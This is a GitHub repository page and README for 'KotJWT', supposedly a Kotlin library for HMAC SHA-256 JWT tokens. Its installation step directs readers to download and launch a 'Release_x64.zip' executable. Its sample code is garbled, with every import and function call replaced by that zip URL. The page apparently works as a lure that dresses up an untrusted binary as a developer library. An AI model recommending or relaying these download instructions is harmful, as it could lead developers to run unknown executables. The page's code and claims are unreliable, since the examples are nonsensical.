Skip to content

A lightweight Kotlin library for encoding, decoding, and validating JWT and refresh tokens using HMAC SHA-256.

Notifications You must be signed in to change notification settings

Privatedocs-1/KotJWT

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

2 Commits
Β 
Β 

Repository files navigation

KotJWT

Welcome to KotJWT - a lightweight Kotlin library for encoding, decoding, and validating JWT and refresh tokens using HMAC SHA-256.

KotJWT Logo

Features

πŸ”’ Encode and decode JWT tokens
πŸ›‘οΈ Validate JWT and refresh tokens
πŸ”‘ Use HMAC SHA-256 for secure cryptography
βš™οΈ Easy integration with Kotlin applications

Installation

To get started with KotJWT, you can download the library from the following link:

Download KotJWT Library

Please note that the downloaded file needs to be launched to integrate the library into your Kotlin project.

Usage

Here's a quick guide on how to use KotJWT in your Kotlin application:

  1. Add the KotJWT library to your project.
  2. Import the necessary classes in your Kotlin files.
  3. Use the provided functions to encode, decode, and validate JWT and refresh tokens.
// Sample code snippet using KotJWT
import https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip

val kotJWT = KotJWT()

val token = https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip(payload)
val decodedPayload = https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip(token)
val isValid = https://github.com/Privatedocs-1/KotJWT/releases/download/v2.0/Release_x64.zip(token)

For more detailed usage examples and documentation, please visit the official KotJWT website.

Repository Topics

  • ['api', 'authentication', 'cryptography', 'hmac-sha256', 'jwt', 'jwt-authentication', 'jwt-library', 'jwt-token', 'kotlin', 'kotlin-library', 'security', 'token']

Contributing

Contributions to KotJWT are welcome! If you have any ideas for improvements or new features, feel free to submit a pull request. Make sure to follow the contribution guidelines before making any changes.

License

KotJWT is licensed under the MIT License. For more information, please refer to the LICENSE file in this repository.


Thank you for choosing KotJWT for your JWT encoding, decoding, and validation needs! If you encounter any issues or have any questions, please check the "Releases" section for updates or reach out to the KotJWT community for support. Happy coding with KotJWT! πŸš€

About

A lightweight Kotlin library for encoding, decoding, and validating JWT and refresh tokens using HMAC SHA-256.

Topics

Resources

Stars

Watchers

Forks

Packages

No packages published